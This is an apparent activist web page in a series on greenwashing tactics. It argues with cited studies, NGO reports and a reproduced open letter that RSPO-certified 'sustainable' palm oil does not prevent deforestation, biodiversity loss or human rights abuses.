- Aggarwal, P. (2011). Greenwashing: The darker side of CSR. Indian Journal of Applied Research, 4(3), 61-66. https://www.worldwidejournals.com/indian-journal-of-applied-research-(IJAR)/article/greenwashing-the-darker-side-of-csr/MzMxMQ==/?is=1
- Anti-Corporate Activism and Collusion: The Contentious Politics of Palm Oil Expansion in Indonesia, (2022). Ward Berenschot, et. al., Geoforum, Volume 131, 2022, https://doi.org/10.1016/j.geoforum.2022.03.002
- Armour, C. (2021). Green Clean. Company Director Magazine. https://www.aicd.com.au/regulatory-compliance/regulations/investigation/green-clean.html
- Balanced Growth (2020), In: Leal Filho W., Azul A.M., Brandli L., özuyar P.G., Wall T. (eds) Responsible Consumption and Production. Encyclopedia of the UN Sustainable Development Goals. Springer, Cham
- Berenschot, W., Hospes, O., & Afrizal, A. (2023). Unequal access to justice: An evaluation of RSPO’s capacity to resolve palm oil conflicts in Indonesia. Agriculture and Human Values, 40, 291-304. https://doi.org/10.1007/s10460-022-10360-z
- Carlson, K. M., Heilmayr, R., Gibbs, H. K., Noojipady, P., et al. (2018). Effect of oil palm sustainability certification on deforestation and fire in Indonesia. PNAS, 115(1), 121-126. https://doi.org/10.1073/pnas.1704728114
- Cazzolla Gatti, R., Liang, J., Velichevskaya, A., & Zhou, M. (2018). Sustainable palm oil may not be so sustainable. Science of The Total Environment, 652, 48-51. https://pubmed.ncbi.nlm.nih.gov/30359800/
- Changing Times Media. (2019). Roundtable on Sustainable Palm Oil is ‘greenwashing’ labelled products, environmental investigation agency says. Changing Times Media. https://changingtimes.media/2019/11/03/roundtable-on-sustainable-palm-oil-is-greenwashing-labelled-products-environmental-protection-agency-says/
- Client Earth: The Greenwashing Files. https://www.clientearth.org/projects/the-greenwashing-files/
- Commodifying sustainability: Development, nature and politics in the palm oil industry (2019). World Development, Volume 121, September 2019, Pages 218-228. https://ideas.repec.org/a/eee/wdevel/v121y2019icp218-228.html
- Contrasting communications of sustainability science in the media coverage of palm oil agriculture on tropical peatlands in Indonesia, Malaysia and Singapore (2020). Liu, F. H. M., Ganesan, V., Smith, T. E. L. Environmental Science & Policy, 114. https://www.researchgate.net/publication/343772443_Contrasting_communications_of_sustainability_science_in_the_media_coverage_of_palm_oil_agriculture_on_tropical_peatlands_in_Indonesia_Malaysia_and_Singapore
- Cosimo, L. H. E., Masiero, M., Mammadova, A., & Pettenella, D. (2024). Voluntary sustainability standards to cope with the new European Union regulation on deforestation-free products: A gap analysis. Forest Policy and Economics, 164, 103235. https://doi.org/10.1016/j.forpol.2024.103235
- Dalton, J. (2018). No such thing as sustainable palm oil – ‘certified’ can destroy even more wildlife, say scientists. The Independent. https://www.independent.co.uk/climate-change/news/palm-oil-sustainable-certified-plantations-orangutans-indonesia-southeast-asia-greenwashing-purdue-a8674681.html
- Davis, S. J., Alexander, K., Moreno-Cruz, J., et al. (2023). Food without agriculture. Nature Sustainability. https://www.nature.com/articles/s41893-023-01241-2
- EIA International. (2022). Will palm oil watchdog rid itself of deforestation or continue to pretend its products are sustainable? EIA International. https://eia-international.org/news/will-palm-oil-watchdog-rid-itself-of-deforestation-or-continue-to-pretend-its-products-are-sustainable/
- Environmental Investigation Agency. (2019). Palm oil watchdog’s sustainability guarantee is still a destructive con. EIA International. https://eia-international.org/news/palm-oil-watchdogs-sustainability-guarantee-is-still-a-destructive-con/
- Federal Trade Commission. (n.d.). Green Guides. https://www.ftc.gov/news-events/topics/truth-advertising/green-guides
- Fifteen environmental NGOs demand that sustainable palm oil watchdog does its job (2019). Rainforest Action Network. https://www.ran.org/press-releases/fifteen-environmental-ngos-demand-that-sustainable-palm-oil-watchdog-does-its-job/
- Friends of the Earth International. (2018). RSPO: 14 years of failure to eliminate violence and destruction from the industrial palm oil sector. Friends of the Earth International. https://www.foei.org/rspo-14-years-of-failure-to-eliminate-violence-and-destruction-from-the-industrial-palm-oil-sector/
- Lang, Chris and REDD Monitor. Sustainable palm oil? RSPO’s greenwashing and fraudulent audits exposed. The Ecologist. https://theecologist.org/2015/nov/19/sustainable-palm-oil-rspos-greenwashing-and-fraudulent-audits-exposed
- Gatti, L., Pizzetti, M., & Seele, P. (2021). Green lies and their effect on intention to invest. Journal of Business Research, 127, 376-387. https://doi.org/10.1016/j.jbusres.2021.01.028
- Global Witness. (2023). Amazon palm: Ecocide and human rights abuses. Global Witness. https://www.globalwitness.org/en/campaigns/environmental-activists/amazon-palm/
- Global Witness. (2021). The True Price of Palm Oil. Global Witness. https://www.globalwitness.org/en/campaigns/forests/true-price-palm-oil/
- Grain. (2021). Ten reasons why certification should not be promoted in the EU anti-deforestation regulation. Grain. https://grain.org/en/article/6856-ten-reasons-why-certification-should-not-be-promoted-in-the-eu-anti-deforestation-regulation
- Green Clean (2021). Armour, C. Company Director Magazine.
- Green marketing and the Australian Consumer Law (2011). Australian Competition and Consumer Commission. https://www.accc.gov.au/system/files/Green%20marketing%20and%20the%20ACL.pdf
- Greenwash and spin: palm oil lobby targets its critics (2011). Helan, A. Ecologist: Informed by Nature. https://theecologist.org/2011/jul/08/greenwash-and-spin-palm-oil-lobby-targets-its-critics
- Greenwashing: definition and examples. Selectra https://climate.selectra.com/en/environment/greenwashing#:~:text=Greenwashing%20is%20the%20practice%20of,its%20activities%20pollute%20the%20environment.
- Greenwashing of the Palm Oil Industry (2007). Mongabay. https://news.mongabay.com/2007/11/greenwashing-the-palm-oil-industry/
- Group Challenges Rainforest Alliance Earth-Friendly Seal of Approval (2015). Truth in Advertising. https://www.truthinadvertising.org/group-challenges-rainforest-alliance-earth-friendly-seal-of-approval
- Helan, A. (2011). Greenwash and spin: palm oil lobby targets its critics. Ecologist: Informed by Nature. https://theecologist.org/2011/feb/15/greenwash-and-spin-palm-oil-lobby-targets-its-critics
- Hewlett Packard. (2021). What is Greenwashing and How to Tell Which Companies are Truly Environmentally Responsible. Hewlett Packard. https://www.hp.com/us-en/shop/tech-takes/what-is-greenwashing-environmentally-responsible-companies
- Holzner, A., Rameli, N. I. A. M., Ruppert, N., & Widdig, A. (2024). Agricultural habitat use affects infant survivorship in an endangered macaque species. Current Biology. https://pubmed.ncbi.nlm.nih.gov/38194972/
- How Cause-washing Deceives Consumers (2021). Truth in Advertising. https://truthinadvertising.org/resource/how-causewashing-deceives-consumers/
- International Labour Organization. (2020). Forced labor in the palm oil industry. ILO. https://www.ilo.org/topics/forced-labour-modern-slavery-and-human-trafficking
- Jauernig, J., Uhl, M., & Valentinov, V. (2021). The ethics of corporate hypocrisy: An experimental approach. Futures, 129, 102757. https://doi.org/10.1016/j.futures.2021.102757
- Kirby, D. (2015). Sustainable Palm Oil? Who Knows, Thanks to Derelict Auditors. Take Part. https://www.yahoo.com/news/sustainable-palm-oil-knows-thanks-derelict-auditors-200643980.html
- Li, T. M., & Semedi, P. (2021). Plantation life: Corporate occupation in Indonesia’s oil palm zone. Duke University Press. https://www.dukeupress.edu/plantation-life
- Liu, F. H. M., Ganesan, V., & Smith, T. E. L. (2020). Contrasting communications of sustainability science in the media coverage of palm oil agriculture on tropical peatlands in Indonesia, Malaysia, and Singapore. Environmental Science & Policy, 114. https://www.researchgate.net/publication/343772443_Contrasting_communications_of_sustainability_science_in_the_media_coverage_of_palm_oil_agriculture_on_tropical_peatlands_in_Indonesia_Malaysia_and_Singapore
- Meemken, E. M., Barrett, C. B., Michelson, H. C., et al. (2021). Sustainability standards in global agrifood supply chains. Nature Food. https://doi.org/10.1038/s43016-021-00299-2
- Miles, T. (2019). Study in WHO journal likens palm oil lobbying to tobacco and alcohol industries. Reuters. https://www.reuters.com/article/idUSKCN1P21ZR/
- Nygaard, A. (2023). Is sustainable certification’s ability to combat greenwashing trustworthy? Frontiers in Sustainability, 4, Article 1188069. https://doi.org/10.3389/frsus.2023.1188069
- Oppong-Tawiah D, Webster J. Corporate Sustainability Communication as ‘Fake News’: Firms’ Greenwashing on Twitter. Sustainability. 2023; 15(8):6683. https://www.mdpi.com/2071-1050/15/8/6683
- Pabon, J. (2024). The great greenwashing: How brands, governments, and influencers are lying to you. Anansi International. https://www.vitalsource.com/products/the-great-greenwashing-john-pabon-v9781487012878
- Podnar, K., & Golob, U. (2024). Brands and activism: Ecosystem and paradoxes. Journal of Brand Management, 31, 95–107. https://link.springer.com/article/10.1057/s41262-024-00355-y
- Rainforest Action Network. (2019). Fifteen environmental NGOs demand that sustainable palm oil watchdog does its job. RAN. https://www.ran.org/press-releases/fifteen-environmental-ngos-demand-that-sustainable-palm-oil-watchdog-does-its-job/
- Renner, A., Zellweger, C., & Skinner, B. (2021). ‘Is there such a thing as sustainable palm oil? Satellite images show protected rainforest on fire’. Neue Zürcher Zeitung. https://www.nzz.ch/english/palm-oil-boom-threatens-protected-rainforest-in-indonesia-ld.1625490
- Saager, E. S., Iwamura, T., Jucker, T., & Murray, K. A. (2023). Deforestation for oil palm increases microclimate suitability for the development of the disease vector Aedes albopictus. Scientific Reports, 13(1), 9514. https://www.nature.com/articles/s41598-023-35452-6
- Southey, F. (2021). What do Millennials think of palm oil? Nestlé investigates. Food Navigator. https://www.foodnavigator.com/Article/2021/08/12/What-do-Millennials-think-of-palm-oil-Nestle-investigates
- Transparency International. (2023). Transparency international report: Corruption and corporate capture in Indonesia’s top 50 palm oil companies. Transparency International. https://palmoildetectives.com/2023/05/14/transparency-international-report-corruption-and-corporate-capture-in-indonesias-top-50-palm-oil-companies/
- Truth in Advertising. (2022). Companies accused of greenwashing. https://truthinadvertising.org/articles/companies-accused-greenwashing/
- Truth in Advertising. (n.d.). How causewashing deceives consumers. https://truthinadvertising.org/resource/how-causewashing-deceives-consumers/
- Tybout, A. M., & Calkins, T. (Eds.). (2019). Kellogg on Branding in a Hyper-Connected World. Kellogg School of Management, Northwestern University. https://www.wiley.com/en-au/Kellogg+on+Branding+in+a+Hyper-Connected+World-p-9781119533184
- Wicke, J. (2019). Sustainable palm oil or certified dispossession? NGOs within scalar struggles over the RSPO private governance standard. Bioeconomy & Inequalities: Working Paper No. 8. https://www.bioinequalities.uni-jena.de/sozbemedia/WorkingPaper8.pdf
- World Health Organisation. (2019). The palm oil industry and noncommunicable diseases. World Health Organisation Bulletin, 97, 118-128. https://pubmed.ncbi.nlm.nih.gov/30728618/
- World Rainforest Movement. (2021, November 22). Why the RSPO facilitates land grabs for palm oil. https://wrm.org.uy/articles-from-the-wrm-bulletin/section1/why-the-rspo-facilitates-land-grabs-for-palm-oil/
- Zuckerman, J. (2021). The Time Has Come to Rein In the Global Scourge of Palm Oil. Yale Environment 360, Yale School of Environment. https://e360.yale.edu/features/the-time-has-come-to-rein-in-the-global-scourge-of-palm-oil
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Palm Oil Detectives is completely self-funded by its creator. All hosting and website fees and investigations into brands are self-funded by the creator of this online movement. If you like what I am doing, you and would like me to help meet costs, please send Palm Oil Detectives a thanks on Ko-Fi.
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#7 #advertising #BoycottPalmOil #Boycott4wildlife #BoycottPalmOil #brandBoycotts #branding #consumerRights #consumers #FightgreenwashingTweet #fire #greenwashing #OrangutanLandTrust #palmoil #RSPO #RSPOGreenwashing #sentinel2
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Greenwashing Tactic #7: Lying
Telling outright lies over and over again to consumers until they are believed as truth
Greenwashing by Lying
Blatant lies that appear in advertising or on social media. The lie could be falsifying support from respected authorities or individuals on environmental issues. Or the lie could be research with ambiguous results being made to sound positive. Sometimes, it is a clear and obvious lie.
Tweet this…
#Greenwashing Tactic #7: Lying: Telling outright lies to #consumers until they are believed as truth. #palmoil lobbyists and global food companies lie about ‘sustainable’ #palmoil #Boycott4Wildlife #Boycottpalmoil #FightGreenwashing
Jump to section
Greenwashing: Endangered species
Reality: Endangered species
Greenwashing: Human rights, land-grabbing and livelihoods for workers
Reality: Human rights, land-grabbing and livelihoods for workers
An open letter from Friends of the Earth and 100 Human Rights NGOs
Greenwashing: Deforestation and fire
Greenwashing: Lies and denialism in the media
Reality: Deforestation and fire
Explore the Series
Further reading: greenwashing and deceptive marketing
Say thanks for this guide by donating to my Ko-Fi
Greenwashing:
RSPO certification protects endangered species living in tropical rainforests
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RSPO marketing materials make grand claims that are not supported by any evidence at all.https://twitter.com/RSPOtweets/status/1660543540378697729?s=20
The team from Chester Zoo encourage children to save endangered species by buying sustainable palm oil.
Lyrics: ‘We have a choice – and it’s sustainable palm oil’
Michelle Desilets, Manager of Orangutan Land Trust explains in this video that ‘deforestation is prohibited by the RSPO’.
What she does not mention is that none of the RSPO’s members have actually stopped deforestation in the 17 years since it began.
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https://twitter.com/RSPOtweets/status/1200683887497756672?s=20
https://twitter.com/RSPOtweets/status/894844642327502848?s=20
https://twitter.com/RSPOtweets/status/1281240693285875712?s=20
https://twitter.com/griffjane/status/1301407429373165568?s=20
https://twitter.com/RSPOtweets/status/1305809870281732096?s=20
https://twitter.com/orangulandtrust/status/1246908272931753988?s=20
https://twitter.com/orangulandtrust/status/1002860521215942656?s=20
https://twitter.com/RSPOtweets/status/1414519913457270794?s=20
Reality: “Sustainable” Palm Oil does not stop biodiversity loss
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“In the plantation, the calls of birds and beasts are replaced by a deathly silence, which is particularly eerie in the glaring heat of the midday sun. Sounds of life are replaced by sounds of death—roaring bull-dozers, gnawing chainsaws, the crackle of illegal burning, and the rumble of overloaded trucks carrying oil palm fruit and timber.”.
Currently certified grower supply bases and concessions in Sumatra and Borneo are located in large mammal’s habitat and in areas that were biodiverse tropical forests less than 30 years ago. We suggest that certification schemes claim for the “sustainable” production of palm oil just because they neglect a very recent past of deforestation and habitat degradation.
Roberto Cazzolla Gatti, Alena Velichevskaya, Certified “sustainable” palm oil took the place of endangered Bornean and Sumatran large mammals habitat and tropical forests in the last 30 years, Science of The Total Environment, Vol 742, 2020,
https://doi.org/10.1016/j.scitotenv.2020.140712.Oil palm plantations support much fewer species than do forests and often also fewer than other tree crops. Further negative impacts include habitat fragmentation and pollution, including greenhouse gas emissions.
Emily B. Fitzherbert, Matthew J. Struebig, Alexandra Morel, Finn Danielsen, Carsten A. Brühl, Paul F. Donald, Ben Phalan, How will oil palm expansion affect biodiversity?,
Trends in Ecology & Evolution, Vol 23, 2008, https://doi.org/10.1016/j.tree.2008.06.012.We found that certified plantation concessions that are committed to deforestation-free production are limited in their ability to prevent further biodiversity loss, due to the past conversion of forest habitats to plantations. Concession holders can improve forest habitats through corridor development and other measures, which would mitigate, but not prevent, further biodiversity loss.
Hideyuki Kubo, Arief Darmawan, Hendarto, André Derek Mader,
The effect of agricultural certification schemes on biodiversity loss in the tropics,
Biological Conservation, Volume 261, 2021, https://doi.org/10.1016/j.biocon.2021.109243.We uncover the global patterns of oil palm expansion and find that global oil palm expansion has a very high degree of potential conflict with local biodiversity. Globally, 99.9% of oil palm plantations overlapped with Conservation Priority Zones (CPZs) and oil palm plantations encroached on 231 protected areas.
Le Yu, Yue Cao, Yuqi Cheng, Qiang Zhao, Yidi Xu, Kasturi Kanniah, Hui Lu, Rui Yang & Peng Gong (2022) A study of the serious conflicts between oil palm expansion and biodiversity conservation using high-resolution remote sensing, Remote Sensing Letters, DOI: 10.1080/2150704X.2022.2063701
https://twitter.com/adinarenner/status/1392148610448568329?s=20
We found a high overlap between areas of high oil palm suitability and areas of high conservation priority for primates. Overall, we found only a few small areas where oil palm could be cultivated in Africa with a low impact on primates (3.3 Mha, including all areas suitable for oil palm). These results warn that, consistent with the dramatic effects of palm oil cultivation on biodiversity in Southeast Asia, reconciling a large-scale development of oil palm in Africa with primate conservation will be a great challenge.
Small room for compromise between oil palm cultivation and primate conservation in Africa
Giovanni Strona, Simon D. Stringer, Ghislain Vieilledent, et. al.
Proceedings of the National Academy of Sciences (2018), 115 (35) 8811-8816; DOI: 10.1073/pnas.1804775115As of 2019, more than 60% of the palm oil plantations in the study area were in Key Biodiversity Areas. KBAs are sites that contribute significantly to the global persistence of biodiversity in terrestrial, freshwater and marine ecosystems. RSPO-certified plantations, comprising 63% of the total cultivated area assessed, did not produce a statistically significant reduction in deforestation and appear to be ineffective at reducing encroachment into ecologically sensitive areas in Guatemala.
Calli P. VanderWilde, Joshua P. Newell, Dimitrios Gounaridis, Benjamin P. Goldstein,
Deforestation, certification, and transnational palm oil supply chains: Linking Guatemala to global consumer markets, Journal of Environmental Management,
Volume 344, 2023. https://doi.org/10.1016/j.jenvman.2023.118505There was no significant difference was found between certified and non-certified plantations for any of the sustainability metrics investigated, however positive economic trends including greater fresh fruit bunch yields were revealed. To achieve intended outcomes, RSPO principles and criteria are in need of substantial improvement and rigorous enforcement.
Morgans, C. L. et al. Evaluating the effectiveness of palm oil certification in delivering multiple sustainability objectives. Environ. Res. Lett. 13, 064032, 2018.
“The big message is that oil palm is bad for biodiversity, in every sense of the word — even when compared to damaged rainforests that are regenerating after earlier logging or clearing.”
Professor Bill Laurance, James Cook University. ‘Palm oil plantations are bad for wildlife great and small’. The Conversation.
We analyse consequences of the globally important land-use transformation from tropical forests to oil palm plantations. Species diversity, density and biomass of invertebrate communities suffer at least 45% decreases from rainforest to oil palm.
Barnes, A., Jochum, M., Mumme, S. et al. Consequences of tropical land use for multitrophic biodiversity and ecosystem functioning. Nat Commun 5, 5351 (2014). https://doi.org/10.1038/ncomms6351
Palm oil also poses a global risk for zoonotic diseases such as Covid-19
Taking into account the human population growth, we find that the increases in outbreaks of zoonotic and vector-borne diseases from 1990 to 2016 are linked with deforestation, mostly in tropical countries, and with reforestation, mostly in temperate countries. We also find that outbreaks of vector-borne diseases are associated with the increase in areas of palm oil plantations.
Outbreaks of Vector-Borne and Zoonotic Diseases Are Associated With Changes in Forest Cover and Oil Palm Expansion at Global Scale
(2021) Morand Serge, Lajaunie Claire, Frontiers in Veterinary Science. https://www.frontiersin.org/article/10.3389/fvets.2021.661063
DOI=10.3389/fvets.2021.661063Is there such a thing as sustainable palm oil? Satellite images show protected rainforest on fire – Neue Zürcher Zeitung (NZZ)
Fire started within orangutan habitats and destroyed them – this was not investigated by the RSPO
The team used map data from @globalforests and @UMBaltimore, #sentinel2 images from @esa, concession boundaries from @RSPOtweets and #fire hotspot data (#VIIRS) from @NASAEarth.
Originally tweeted by Adina Renner (@adinarenner) on May 10, 2021.
Read moreAsia: Species Endangered by Palm Oil Deforestation
Africa: Species Endangered by Palm Oil Deforestation
Papua New Guinea & West Papua: Species Endangered by Palm Oil Deforestation
South America: Species Endangered by Palm Oil Deforestation
Greenwashing
‘Europeans have destroyed their forests for agriculture, so why can’t we do the same in the tropics? Stopping our economic development is hypocrisy and colonialism’
‘Sustainable palm oil helps the livelihood of workers on RSPO certified palm oil plantations.‘
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Research analysing media and social media messages around palm oil in Malaysia and Indonesia finds that palm oil lobbyists use an ‘Us’ Versus ‘Them’ narrative, in other words, they invoke colonial racism to justify continued deforestation and ecocide.
Four mutually complementary narratives were used by Indonesian and Malaysian media to construe denialism These denialist narratives appeal to a nationalist sentiment of ‘us’ – palm oil-producing developing countries – and ‘them’ – western developed countries producing research critical of the industry.
Liu, Felicia & Ganesan, Vignaa & Smith, Thomas. (2020). Contrasting communications of sustainability science in the media coverage of palm oil agriculture on tropical peatlands in Indonesia, Malaysia and Singapore. Environmental Science & Policy. 114. 162-169. 10.1016/j.envsci.2020.07.004.
RSPO advertisement from social media, with a focus on promoting better workers rights under certified palm oil. An RSPO advertisement targeting the Indian market in 2021 by the RSPO showing supposed benefits for palm oil workers.We had the luck to be born into a developed country, I believe we need to acknowledge the right of lesser-developed countries to develop. We simply have no right to tell a country like Indonesia to forgo economic development, but we can help to steer that development in a sustainable direction.
Michelle Desilets, Director, Orangutan Land Trust. The Switch Report, 2014
Social media messaging by palm oil lobbyists reflects a focus on ‘Us’: poor, palm oil producing nations, versus ‘Them’: the ‘greedy, already developed West.
https://twitter.com/CPOPC_ORG/status/1295253527191642113?s=20
https://twitter.com/palmoiltruther/status/1420662530863550464?s=20
https://twitter.com/palm_eu/status/1440943483410386945?s=20
https://twitter.com/emeijaard/status/1191961097294757889?s=20
https://twitter.com/palmoilmonitor/status/1445795527560515587?s=20
https://twitter.com/CIFOR/status/1016759321701552133?s=20
Reality: Human rights abuses and landgrabbing are ongoing for “sustainable” palm oil
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University of Michigan 2023 study: RSPO plantations do not reduce deforestation in Guatemala
A 2021 Investigation by Global Witness found that palm oil companies in Papua New Guinea are alleged to have been involved in corruption, child labour, tax evasion, deforestation, worker deaths and paying police to assault villagers.
The palm oil from these mills in Papua New Guinea is used by RSPO members Colgate-Palmolive, Kelloggs, General Mills, Nestle, Hersheys, Danone, PZ Cussons – finds its way into our weekly supermarket shop.
Read reporthttps://twitter.com/earthsight/status/1192827396451438592?s=20&t=rnSAWHikl-a8C6GAd9n09g
https://twitter.com/Rainforest_RIN/status/1541428640491212801?s=20&t=rnSAWHikl-a8C6GAd9n09g
A 2019 World Health Organisation (WHO) report into the palm oil industry finds extensive greenwashing of human rights abuses
Read moreCertified goods improve the price and income of sale for certified goods, but they do not advance equity, income or assets for workers
We identified 64 conflicts that involved RSPO member companies, of which 17 prompted communities to convey their grievances to the RSPO’s conflict resolution mechanism…We conclude that—on all counts—the conflict resolution mechanism is biased in favor of companies. The result of these biases is that the actual capacity of the RSPO’s mechanism to provide a meaningful remedy for rural communities’ grievances remains very limited. This unequal access to justice sustains conflicts between companies and communities over land.
Afrizal, A., Hospes, O., Berenschot, W. et al. Unequal access to justice: an evaluation of RSPO’s capacity to resolve palm oil conflicts in Indonesia. Agric Hum Values 40, 291–304 (2023). https://doi.org/10.1007/s10460-022-10360-z
We find positive effects on prices and income from sale of certified products. However, we find no change in overall household income and assets for workers. The wages for workers are not higher in certified production.
Oya, C., Schaefer, F. & Skalidou, D. The effectiveness of agricultural certification in developing countries: a systematic review. World Dev. 112, 282–312 (2018).
We find that, while sustainability standards can help improve the sustainability of production processes in certain situations, they are insufficient to ensure food system sustainability at scale, nor do they advance equity objectives in agrifood supply chains.
Meemken, EM., Barrett, C.B., Michelson, H.C. et al. Sustainability standards in global agrifood supply chains. Nat Food (2021). https://doi.org/10.1038/s43016-021-00360-3
Deforestation by fire for palm oilDeforestation – Craig Jones Wildlife Photography After a forest fire in Sumatra – Craig Jones Wildlife Photography Research: Palm Oil Deforestation and its connection to retail brandsOil palm expansion is shaped by wider political economies and development policies.
Market-based development policies have favored large-scale over smallholder production.
Benefits from oil palm are unevenly distributed across rural population.
Violence across forest frontiers has fueled conflicts linked to oil palm.
Weak forest governance has led to significant deforestation by industrial plantations.
A. Castellanos-Navarrete, F. de Castro, P. Pacheco,
The impact of oil palm on rural livelihoods and tropical forest landscapes in Latin America, Journal of Rural Studies,
Volume 81, 2021, https://doi.org/10.1016/j.jrurstud.2020.10.047.This article argues that the form of sustainability offered by certification schemes such as the RSPO fetishes the commodity palm oil in order to assuage critical consumer initiatives in the North. This technical-managerial solution is part of a larger project: the “post-political” climate politics regime (Swyngedouw) that attempts to “green” the status quo.
Commodifying sustainability: Development, nature and politics in the palm oil industry (2019) World Development
Volume 121, September 2019, Pages 218-228- The palm oil industry is neither sustainable nor a viable development model.
- Certification represents a technical fix which neglects underlying dynamics of power, class, gender and accumulation.
- The fetishised commodity ‘certified sustainable palm oil’ has no impact on the regional scale of expansion.
- Working conditions in the plantations and mills entrench social inequality and poverty.
From: Commodifying sustainability: Development, nature and politics in the palm oil industry (2019) World Development
Deforestation in West PapuaDeforestation – Craig Jones Wildlife Photography
Volume 121, September 2019, Pages 218-228Deforestation for palm oil: the impact of increased heat on human health
477 villages throughout Kalimantan were surveyed about forest health benefits.
The most frequent answer was maintenance of cool local temperatures.
Perceptions were driven by deforestation and local temperature.
Results point to possible threat of heat impacts on health.
Policy should incorporate human health when considering land use.
Nicholas H. Wolff, Yuta J. Masuda, Erik Meijaard, Jessie A. Wells, Edward T. Game,
Impacts of tropical deforestation on local temperature and human well-being perceptions, Global Environmental Change, Volume 52, 2018, https://doi.org/10.1016/j.gloenvcha.2018.07.004.The False Promise of Certification, Changing Markets (2018)
The False Promise of Certification (2018) Changing Markets Download report“While RSPO is often referred to as the best scheme in the sector, it
has several shortcomings; most notably, it allows the conversion of secondary forests and the draining
of peatlands, it has not prevented human rights violations and it does not require GHG emissions
reductions.“In light of this, we call for action to reduce demand for palm oil, such as
ditching biofuels targets, as well as channelling new plantations into non-forested areas by putting in
place a strong moratorium on palm oil expansion to forests and peatlands. Most schemes in this sector
should be abolished in light of their failures on multiple fronts.”— The False Promise of Certification (2018) Changing Markets
MSI’s (Multi-Stakeholder Initiatives including the RSPO and Rainforest Alliance) are inadequate in detecting human rights abuses and uphold standards
MSI Insight Report on Monitoring and Compliance in Multi-Stakeholder Initiatives (MSIs) like the RSPO (2020) Download report“MSIs put considerable emphasis on the standards that they set, but have not developed effective mechanisms for detecting abuses, enforcing compliance with those standards, or transparently disclosing levels of compliance. Despite the emergence of models that enable rights holders to legally enforce MSIs’ standards or to be actively engaged in monitoring companies for abuses, MSIs have not adopted them. By focusing on setting standards without adequately ensuring if members are following those standards, MSIs risk providing companies and governments with powerful reputational benefits despite the persistence of rights abuses.”
The difficulty of addressing and resolving oil palm conflicts is due not only to the inadequacies of Indonesia’s legal framework regarding land and plantations but also to the way in which Indonesia’s informalized state institutions foster collusion between local power holders and palm oil companies. This collusion enables companies to evade regulation, suppress community protests and avoid engaging in constructive efforts to resolve conflicts. Furthermore, this collusion has made the available conflict resolution mechanisms largely ineffective.
Anti-Corporate Activism and Collusion: The Contentious Politics of Palm Oil Expansion in Indonesia, (2022). Ward Berenschot, et. al., Geoforum, Volume 131, 2022, https://doi.org/10.1016/j.geoforum.2022.03.002
Associated Press 2020 Report: Beauty Brands (RSPO members) L’Oreal, Colgate-Palmolive, Johnson& Johnson, Unilever linked to rape on palm oil plantations
https://twitter.com/AP/status/1330163571951611906?s=20
https://twitter.com/dwnews/status/1329701899180924928?s=20
Associated Press Investigation (2020) finds wide-spread rape, human rights abuses and slavery on palm oil plantations for well known brands: Unilever, Johnson & Johnson, L’Oreal, Avon, Colgate Palmolive Dayak Indigenous Ethnographer Dr Setia Budhi: In His Own Words“The expansion of oil palm plantations has created many detrimental environmental impacts, including deforestation, loss of biodiversity, land conflicts, labour conflicts, and social conflicts around plantations.
“Environmental damage and social injustice were reasons why the global palm oil certification, the Roundtable on Sustainable Palm Oil (RSPO) was established.
“In practice, requirements for oil palm certifications are easily violated. Lots of things are problematic.”
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Global corporates are responsible for the majority of palm oil production and deforestation risk, not smallholder farmers
The three biggest palm oil traders: Sinar Mas, Wilmar and Musim Mas – are founding members of the RSPO. They have the biggest deforestation risk of all other palm oil companies combined. Deforestation goes against the RSPO’s rules – yet these big companies do not lose their RSPO membership or face punishment.
Source: Insights: Indonesian Palm Oil. Trase Earth (2018)
Search the Environmental Justice Atlas for specific companies and their human rights abuses and land-grabbing record
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RSPO: 14 years of failure to eliminate violence and destruction from the industrial palm oil sector
Friends of the Earth and 100 other human rights and environmental NGOS co-signed this letter in 2018
Read original letterLetter
During its 14 years of existence, RSPO – the Roundtable on Sustainable Palm Oil – has failed to live up to its claim of “transforming” the industrial palm oil production sector into a so-called “sustainable” one. In reality, the RSPO has been used by the palm oil industry to greenwash corporate destruction and human rights abuses, while it continues to expand business, forest destruction and profits.
RSPO presents itself to the public with the slogan “transforming the markets to make sustainable palm oil the norm”. Palm oil has become the cheapest vegetable oil available on the global market, making it a popular choice among the group that dominates RSPO membership, big palm oil buyers.
They will do everything to secure a steady flow of cheap palm oil. They also know that the key to the corporate success story of producing “cheap” palm oil is a particular model of industrial production, with ever-increasing efficiency and productivity which in turn is achieved by:
- Planting on a large-scale and in monoculture, frequently through conversion of tropical biodiverse forests
- Using “high yielding” seedlings that demand large amounts of agrotoxics and abundant water.
- Squeezing cheap labour out of the smallest possible work force, employed in precarious conditions so that company costs are cut to a minimum
- Making significant up-front money from the tropical timber extracted from concessions, which is then used to finance plantation development or increase corporate profits.
- Grabbing land violently from local communities or by means of other arrangements with governments (including favourable tax regimes) to access land at the lowest possible cost.
Those living on the fertile land that the corporations choose to apply their industrial palm oil production model, pay a very high price.
Violence is intrinsic to this model:
- violence and repression when communities resist the corporate take over of their land because they know that once their land is turned into monoculture oil palm plantations, their livelihoods will be destroyed, their land and forests invaded. In countless cases, deforestation caused by the expansion of this industry, has displaced communities or destroyed community livelihoods where
- companies violate customary rights and take control of community land;
- sexual violence and harassment against women in and around the plantations which often stays invisible because women find themselves without possibilities to demand that the perpetrators be prosecuted;
- Child labour and precarious working conditions that go hand-in-hand with violation of workers’ rights;
- working conditions can even be so bad as to amount to contemporary forms of slavery. This exploitative model of work grants companies more economic profits while allowing palm oil to remain a cheap product. That is why, neither them or their shareholders do anything to stop it.
- exposure of workers, entire communities and forests, rivers, water springs, agricultural land and soils to the excessive application of agrotoxics;
- depriving communities surrounded by industrial oil palm plantations of their food sovereignty when industrial oil palm plantations occupy land that communities need to grow food crops.
RSPO’s proclaimed vision of transforming the industrial oil palm sector is doomed to fail because the Roundtable’s certification principles promote this structural violent and destructive model.
The RSPO also fails to address the industry’s reliance on exclusive control of large and contingent areas of fertile land, as well as the industry’s growth paradigm which demands a continued expansion of corporate control over community land and violent land grabs.
None of RPSO’s eight certification principles suggests transforming this industry reliance on exclusive control over vast areas of land or the growth paradigm inherent to the model.
Industrial use of vegetable oils has doubled in the past 15 years, with palm oil being the cheapest. This massive increase of palm oil use in part explains the current expansion of industrial oil palm plantations, especially in Africa and Latin America, from the year 2000 onward, in addition to the existing vast plantations areas in Malaysia and Indonesia that also continue expanding.
On the ground, countless examples show that industrial oil palm plantations continue to be synonymous to violence and destruction for communities and forests. Communities’ experiences in the new industrial oil palm plantation frontiers, such as Gabon, Nigeria, Cameroon, Liberia, Sierra Leone, Peru, Honduras, Brazil, Colombia, Ecuador, are similar to past and ongoing community experiences in Indonesia and Malaysia.
